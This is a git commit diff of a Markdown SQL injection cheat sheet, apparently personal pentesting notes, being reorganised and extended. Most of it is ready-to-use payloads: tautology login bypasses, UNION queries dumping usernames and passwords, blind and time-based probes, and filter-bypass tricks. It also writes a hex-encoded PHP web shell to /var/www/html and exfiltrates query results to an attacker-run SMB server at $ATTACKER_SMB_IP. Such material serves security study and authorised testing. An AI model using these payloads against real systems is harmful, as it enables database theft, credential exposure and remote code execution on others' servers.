more details, restructured the text
This commit is contained in:
parent
c3363c2f7c
commit
2e1d63eab1
|
@ -1,33 +1,45 @@
|
||||||
# SQL Injection
|
# SQL Injection
|
||||||
|
|
||||||
In an SQL injection an SQL statement is ended prematurely through setting the quote earlier than intended by the original programmer. The malicious command is then ended by an SQL comment to ignore the following parts of the original SQL statement.
|
In an SQL injection an SQL statement is ended prematurely through setting the
|
||||||
A piece of understanding the way of injecting malicious SQL commands is to understand the syntax of [MySQL Comments](https://blog.raw.pm/en/sql-injection-mysql-comment/).
|
quote earlier than intended by the original programmer. The malicious command
|
||||||
|
is then ended by an SQL comment to ignore the following parts of the original
|
||||||
|
SQL statement.
|
||||||
|
A piece of understanding the way of injecting malicious SQL commands is to
|
||||||
|
understand the syntax of [MySQL
|
||||||
|
Comments](https://blog.raw.pm/en/sql-injection-mysql-comment/).
|
||||||
|
|
||||||
* [OWASP SQLi Docs](https://www.owasp.org/index.php/SQL_Injection)
|
* [OWASP SQLi Docs](https://www.owasp.org/index.php/SQL_Injection)
|
||||||
|
|
||||||
## Finding an Opportunity
|
## Finding an Opportunity
|
||||||
|
|
||||||
* GET parameter
|
GET parameter
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
http://example.com/index.php?id=' or 1=1 -- -
|
http://example.com/index.php?id=' or 1=1 -- -
|
||||||
```
|
```
|
||||||
|
|
||||||
* Sometimes another parameter may come first
|
Sometimes another parameter may come first
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
http://example.com/index.php?id=10 or 1=1 -- +
|
http://example.com/index.php?id=10 or 1=1 -- +
|
||||||
http://example.com/index.php?id=10' or '1'='1'-- -
|
http://example.com/index.php?id=10' or '1'='1'-- -
|
||||||
http://example.com/index.php?id=-1' or 1=1 -- -&password=x
|
http://example.com/index.php?id=-1' or 1=1 -- -&password=x
|
||||||
```
|
```
|
||||||
|
|
||||||
* Provoking an error to gain information if an injection might be possible. Check by just putting in a single quote
|
Provoking an error to gain information if an injection might be possible. Check
|
||||||
|
by just putting in a single quote
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
http://example.com/index.php?id='
|
http://example.com/index.php?id='
|
||||||
```
|
```
|
||||||
* **Incase of client side sanitization craft the URL instead of using the form!!!**
|
|
||||||
|
|
||||||
## Usage
|
**Incase of client side sanitization craft the URL instead of using the form!!!**
|
||||||
|
|
||||||
* Terminate the string of the SQL command via `'` and resolve via tautology like 1=1, comment the rest of the string via `--`. This defaults to a true statement and delivers a response containing DB content
|
## In-Band SQLi
|
||||||
|
|
||||||
|
Terminate the string of the SQL command via `'` and resolve via tautology like
|
||||||
|
1=1, comment the rest of the string via `--`. This defaults to a true statement
|
||||||
|
and delivers a response containing DB content
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
SELECT * FROM users WHERE username = admin AND password := ' and 1=1 -- -
|
SELECT * FROM users WHERE username = admin AND password := ' and 1=1 -- -
|
||||||
|
@ -36,23 +48,137 @@ SELECT * FROM users WHERE username = admin AND password := ' or 1=1 --+
|
||||||
|
|
||||||
There are further methods of SQL injection following below.
|
There are further methods of SQL injection following below.
|
||||||
|
|
||||||
|
### Identify Database
|
||||||
|
|
||||||
|
The following examples are methods of retrieving the type of DBMS in use.
|
||||||
|
|
||||||
|
```sh
|
||||||
|
id=sqlite_version()
|
||||||
|
id=@@version # mysql/mssql
|
||||||
|
id=(SELECT banner FROM v$version) # oracle
|
||||||
|
```
|
||||||
|
|
||||||
|
### Union based
|
||||||
|
|
||||||
|
Union based injections is an incremental and cautios approach.
|
||||||
|
Start by trying to provoke errors to validate a possible injection.
|
||||||
|
|
||||||
|
* __First method__ check by order until error occurs
|
||||||
|
|
||||||
|
```sql
|
||||||
|
' order by 1 -- -
|
||||||
|
' order by 2 -- -
|
||||||
|
' order by 3 -- -
|
||||||
|
```
|
||||||
|
|
||||||
|
Check the number of columns by inserting NULL values one after another.
|
||||||
|
|
||||||
|
__Second method__ fuzzing NULL values, followed by fuzzing data types
|
||||||
|
|
||||||
|
Check number of cols
|
||||||
|
|
||||||
|
```sql
|
||||||
|
' UNION SELECT NULL-- -
|
||||||
|
' UNION SELECT NULL,NULL-- -
|
||||||
|
' UNION SELECT NULL,NULL,NULL-- -
|
||||||
|
# until the error occurs
|
||||||
|
```
|
||||||
|
|
||||||
|
Check which one contains String values
|
||||||
|
|
||||||
|
```sql
|
||||||
|
' UNION SELECT 'a',NULL,NULL,NULL -- -
|
||||||
|
' UNION SELECT NULL,'a',NULL,NULL -- -
|
||||||
|
' UNION SELECT NULL,NULL,'a',NULL -- -
|
||||||
|
' UNION SELECT NULL,NULL,NULL,'a' -- -
|
||||||
|
```
|
||||||
|
|
||||||
|
Retrieve content, for cols as an example, or dump database
|
||||||
|
|
||||||
|
```sql
|
||||||
|
' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- - //
|
||||||
|
' UNION SELECT NULL,username,password,NULL FROM users -- - //
|
||||||
|
```
|
||||||
|
|
||||||
|
Retrieve content by union poking the count and order of columns, afterwards
|
||||||
|
extracting tables via
|
||||||
|
|
||||||
|
```sh
|
||||||
|
0 union select null, null, database()
|
||||||
|
0 union select null, null, group_concat(table_name) from information_schema.tables where table_schema = 'found_db'
|
||||||
|
0 union select null, null, group_concat(column_name) from information_schema.columns where table_name = 'found_tablename'
|
||||||
|
0 union select null, null, group_concat(username, ':', password from found_tablename
|
||||||
|
```
|
||||||
|
|
||||||
|
The examples above contain methods of retrieving table name, column names. The
|
||||||
|
last example uses the information returned to inject the correct column names
|
||||||
|
so the acutal content of them are retrieved. Further examples under [SQL
|
||||||
|
Functions](#SQL-Functions)
|
||||||
|
|
||||||
|
#### SQL Functions
|
||||||
|
|
||||||
|
Use SQL functions to poke the tables & cols via union.
|
||||||
|
* [source](https://medium.com/@nyomanpradipta120/sql-injection-union-attack-9c10de1a5635)
|
||||||
|
|
||||||
|
Extract tables
|
||||||
|
|
||||||
|
```sql
|
||||||
|
1' and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() -- -
|
||||||
|
```
|
||||||
|
SQLite specifica
|
||||||
|
|
||||||
|
```sql
|
||||||
|
' UNION SELECT sql, sql FROM sqlite_master -- -
|
||||||
|
```
|
||||||
|
|
||||||
|
```sql
|
||||||
|
(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable')
|
||||||
|
(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')
|
||||||
|
```
|
||||||
|
|
||||||
|
Extract columns
|
||||||
|
|
||||||
|
```sh
|
||||||
|
1' and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name ='user'-- -
|
||||||
|
```
|
||||||
|
|
||||||
|
Extract Data from cols
|
||||||
|
```sql
|
||||||
|
1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4 from user-- -
|
||||||
|
```
|
||||||
|
|
||||||
|
## Inferential SQLi
|
||||||
|
|
||||||
|
The result of the SQLi may not be directly visible but can be measured through
|
||||||
|
side channels like timespan between request and response or by a boolean value.
|
||||||
|
|
||||||
### Boolean True and False
|
### Boolean True and False
|
||||||
|
|
||||||
|
```sql
|
||||||
|
SELECT * FROM users WHERE id = 420 and 69=69
|
||||||
|
SELECT * FROM users WHERE id = 420 and 1=69
|
||||||
|
```
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
SELECT * FROM users WHERE username = admin AND password :=1' or 1 < 2 --+
|
SELECT * FROM users WHERE username = admin AND password :=1' or 1 < 2 --+
|
||||||
SELECT * FROM users WHERE username = admin AND password :=1' or 1 > 2 --+
|
SELECT * FROM users WHERE username = admin AND password :=1' or 1 > 2 --+
|
||||||
```
|
```
|
||||||
|
|
||||||
* Blind boolean base substring fuzzes one char at a time, by inspecting the return value after each inserted char.
|
Blind boolean base substring fuzzes one char at a time, by inspecting the
|
||||||
|
return value after each inserted char.
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
' UNION SELECT null,null,null where database() like 'da%';-- -
|
' UNION SELECT null,null,null where database() like 'da%';-- -
|
||||||
```
|
```
|
||||||
|
|
||||||
### Time Based
|
### Time Based
|
||||||
|
|
||||||
* Checking input blindly via sleep() function. Count the number of columns in this way. on success, the sleep(5) function executes
|
Checking input blindly via sleep() function. Count the number of columns in
|
||||||
|
this way. on success, the sleep(5) function executes
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
' union select sleep(3), null; -- -
|
' union select sleep(3), null; -- -
|
||||||
|
' SELECT * from users where id = 420; IF (69=69) WAITFOR DELAY '00:00:03' -- -
|
||||||
```
|
```
|
||||||
|
|
||||||
### Blind injection
|
### Blind injection
|
||||||
|
@ -110,127 +236,127 @@ Query content of the table and columns found via
|
||||||
username=admin'+and+substring((select+<found_columnname>+from+<found_tablename>+limit+0,1),1,1)="a"+#&password='
|
username=admin'+and+substring((select+<found_columnname>+from+<found_tablename>+limit+0,1),1,1)="a"+#&password='
|
||||||
```
|
```
|
||||||
|
|
||||||
### Union based
|
## Out-of-Band SQLi
|
||||||
|
|
||||||
Union based injections is an incremental and cautios approach.
|
Out-of-band requests are injected through a different channel than the
|
||||||
Start by trying to provoke errors to validate a possible injection.
|
resulting response.
|
||||||
|
|
||||||
* __First method__ check by order until error occurs
|
### Second-Order SQLi
|
||||||
|
|
||||||
|
The result is not directly visible, instead some indirect response is executed,
|
||||||
|
maybe at a later stage of the attack through inserting a a SQLi through your
|
||||||
|
original SQLi payload.
|
||||||
|
|
||||||
|
Check if an inserted SQL query may be set instead of regular data, e.g. instead
|
||||||
|
of a name and let it be queried via a second step.
|
||||||
|
|
||||||
|
### Other Communication Channels
|
||||||
|
|
||||||
|
Instead of a direct response there may be indirect results possible, like the following.
|
||||||
|
|
||||||
|
Write to a file via `OUTFILE`.
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
' order by 1 -- -
|
SELECT passwords FROM users INTO OUTFILE '/dev/shm/passwords.txt`
|
||||||
' order by 2 -- -
|
|
||||||
' order by 3 -- -
|
|
||||||
```
|
```
|
||||||
|
|
||||||
Check the number of columns by inserting NULL values one after another.
|
Executing shell commands for extraction through `xp_cmdshell` on MYSQL.
|
||||||
|
|
||||||
* __Second method__ fuzzing NULL values, followed by fuzzing data types
|
When using Oracle DBs send your data via `UTL_HTTP.BEGIN_REQUEST` to an
|
||||||
|
exfiltration target.
|
||||||
|
|
||||||
* Check number of cols
|
Other exfiltration targets may be DNS or SMB servers.
|
||||||
```sql
|
|
||||||
' UNION SELECT NULL-- -
|
|
||||||
' UNION SELECT NULL,NULL-- -
|
|
||||||
' UNION SELECT NULL,NULL,NULL-- -
|
|
||||||
# until the error occurs
|
|
||||||
```
|
|
||||||
|
|
||||||
* Check which one contains String values
|
On the attacker side start an SMB server.
|
||||||
```sql
|
|
||||||
' UNION SELECT 'a',NULL,NULL,NULL -- -
|
|
||||||
' UNION SELECT NULL,'a',NULL,NULL -- -
|
|
||||||
' UNION SELECT NULL,NULL,'a',NULL -- -
|
|
||||||
' UNION SELECT NULL,NULL,NULL,'a' -- -
|
|
||||||
```
|
|
||||||
|
|
||||||
* Retrieve content, for cols as an example, or dump database
|
|
||||||
```sql
|
|
||||||
' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- - //
|
|
||||||
' UNION SELECT NULL,username,password,NULL FROM users -- - //
|
|
||||||
```
|
|
||||||
|
|
||||||
* Retrieve content by union poking the count and order of columns, afterwards extracting tables via
|
|
||||||
```sh
|
```sh
|
||||||
0 union select null, null, database()
|
impacket-smbserver -smb2support -comment "Attacker SMB" -debug logs /tmp
|
||||||
0 union select null, null, group_concat(table_name) from information_schema.tables where table_schema = 'found_db'
|
|
||||||
0 union select null, null, group_concat(column_name) from information_schema.columns where table_name = 'found_tablename'
|
|
||||||
0 union select null, null, group_concat(username, ':', password from found_tablename
|
|
||||||
```
|
```
|
||||||
|
|
||||||
The examples above contain methods of retrieving table name, column names. The last example uses the information returned to inject the correct column names so the acutal content of them are retrieved. Further examples under [SQL Functions](#SQL-Functions)
|
Execute the following query on the target.
|
||||||
|
|
||||||
## Further Information
|
|
||||||
|
|
||||||
### Identify Database
|
|
||||||
|
|
||||||
The following examples are methods of retrieving the type of DBMS in use.
|
|
||||||
```sh
|
```sh
|
||||||
id=sqlite_version()
|
420'; SELECT @@version into outfile '\\\\$ATTACKER_SMB_IP\\logs\\response.txt'; -- -
|
||||||
id=@@version # mysql/mssql
|
|
||||||
id=(SELECT banner FROM v$version) # oracle
|
|
||||||
```
|
|
||||||
|
|
||||||
#### SQL Functions
|
|
||||||
|
|
||||||
Use SQL functions to poke the tables & cols via union.
|
|
||||||
* [source](https://medium.com/@nyomanpradipta120/sql-injection-union-attack-9c10de1a5635)
|
|
||||||
* Extract tables
|
|
||||||
```sql
|
|
||||||
1' and 1=2 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema = database() -- -
|
|
||||||
```
|
|
||||||
* SQLite specifica
|
|
||||||
```sql
|
|
||||||
' UNION SELECT sql, sql FROM sqlite_master -- -
|
|
||||||
```
|
|
||||||
```sql
|
|
||||||
(SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='usertable')
|
|
||||||
(SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%')
|
|
||||||
```
|
|
||||||
|
|
||||||
* Extract columns
|
|
||||||
```sh
|
|
||||||
1' and 1=2 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema = database() and table_name ='user'-- -
|
|
||||||
```
|
|
||||||
|
|
||||||
* Extract Data from cols
|
|
||||||
```sql
|
|
||||||
1' and 1=2 union select 1,group_concat(username,0x3a,password),3,4 from user-- -
|
|
||||||
```
|
```
|
||||||
|
|
||||||
## Value Insertion
|
## Value Insertion
|
||||||
|
|
||||||
Under the right conditions, it is possible to insert information into a table.
|
Under the right conditions, it is possible to insert information into a table.
|
||||||
|
|
||||||
* Check user file permissions if an insertion is possible
|
Check user file permissions if an insertion is possible
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
union all select 1,group_concat(user,0x3a,file_priv),3,4 from mysql.user -- -
|
union all select 1,group_concat(user,0x3a,file_priv),3,4 from mysql.user -- -
|
||||||
```
|
```
|
||||||
|
|
||||||
* Insert file through insertion of `system()` or `exec_shell()` and a get parameter
|
Insert file through insertion of `system()` or `exec_shell()` and a get
|
||||||
|
parameter
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
<cookieID>'into outfile '/var/www/html/shello.php' lines terminated by 0x3c3f706870206563686f20223c7072653e22202e2073797374656d28245f4745545b22636d64225d29202e20223c2f7072653e223b3f3e -- -
|
<cookieID>'into outfile '/var/www/html/shello.php' lines terminated by 0x3c3f706870206563686f20223c7072653e22202e2073797374656d28245f4745545b22636d64225d29202e20223c2f7072653e223b3f3e -- -
|
||||||
```
|
```
|
||||||
|
|
||||||
* Insert `<?php system($_GET["cmd"]); ?>`
|
Insert `<?php system($_GET["cmd"]); ?>`
|
||||||
|
|
||||||
```sql
|
```sql
|
||||||
" Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE '/var/www/html/shell.php' -- -
|
" Union Select 1,0x201c3c3f7068702073797374656d28245f4745545b2018636d6420195d293b203f3e201d,3,4 INTO OUTFILE '/var/www/html/shell.php' -- -
|
||||||
```
|
```
|
||||||
|
|
||||||
### Further Examples
|
### Further Examples
|
||||||
|
|
||||||
* sqli inside HTTP request to an API. Five columns in the select have been discovered before
|
Sqli inside HTTP request to an API. Five columns in the select have been
|
||||||
|
discovered before
|
||||||
|
|
||||||
```HTTP
|
```HTTP
|
||||||
GET /about/0 UNION select column_name, null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
|
GET /about/0 UNION select column_name, null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
|
||||||
```
|
```
|
||||||
* Get column names
|
|
||||||
```HTTP
|
Get column names through the following example.
|
||||||
GET /about/0 UNION all select group_concat(column_name), null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
|
|
||||||
```
|
```HTTP
|
||||||
* Get rows from users by id
|
GET /about/0 UNION all select group_concat(column_name), null,null,null,null from information_schema.columns where table_name = 'user' HTTP/1.1
|
||||||
```HTTP
|
```
|
||||||
GET /about/0 UNION all select notes, null, null, null, null from users where id = 4711 HTTP/1.1
|
|
||||||
```
|
Get rows from users by id
|
||||||
|
|
||||||
|
```HTTP
|
||||||
|
GET /about/0 UNION all select notes, null, null, null, null from users where id = 4711 HTTP/1.1
|
||||||
|
```
|
||||||
|
|
||||||
|
## Filter Bypass
|
||||||
|
|
||||||
|
Bypass may be possible through character encodings like
|
||||||
|
|
||||||
|
* Percent/URL
|
||||||
|
* Hex
|
||||||
|
* Unicode
|
||||||
|
|
||||||
|
To bypass quote filtering use the following methods.
|
||||||
|
|
||||||
|
* Numerical values which do not need quotes like `420=420`
|
||||||
|
* SQL comments `username --`
|
||||||
|
* Create the username through `CONCAT(0x75, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d 0x65)`
|
||||||
|
|
||||||
|
To bypass space filtering use the following methods.
|
||||||
|
|
||||||
|
* Open and close a comment instead of using a space -> `/**/`
|
||||||
|
* Use `\t` or `\n` instead of space
|
||||||
|
* Encode the space or alternative `\t` or `\n` character, e.g. `%0A`
|
||||||
|
|
||||||
|
To bypass keyword removal use the following methods.
|
||||||
|
|
||||||
|
* Use a comment in the midst of the keyword that would be removed -> `un/**/ion`
|
||||||
|
* Write the keyword in unusual lower and uppercase characters -> `uNiOn`
|
||||||
|
* Use `Concat()`, to create the keyword, e.g. `CONCAT(0x61, 0x64, 0x6D, 0x69, 0x6E)` or `CONCAT('u','n','i','o','n')`
|
||||||
|
* Use Encodings for the keyword
|
||||||
|
|
||||||
|
Use logical operate instead of english keywords, e.g. `&&` instead of `and`.
|
||||||
|
|
||||||
## Payloads
|
## Payloads
|
||||||
|
|
||||||
* [List](https://github.com/payloadbox/sql-injection-payload-list#generic-sql-injection-payloads)
|
* [List](https://github.com/payloadbox/sql-injection-payload-list#generic-sql-injection-payloads)
|
||||||
|
|
||||||
|
## Tools
|
||||||
|
|
||||||
|
* [SQLmap](https://github.com/sqlmapproject/sqlmap)
|
||||||
|
* [Bbbqsql for blind injections](https://github.com/CiscoCXSecurity/bbqsql)
|
||||||
|
|
Loading…
Reference in New Issue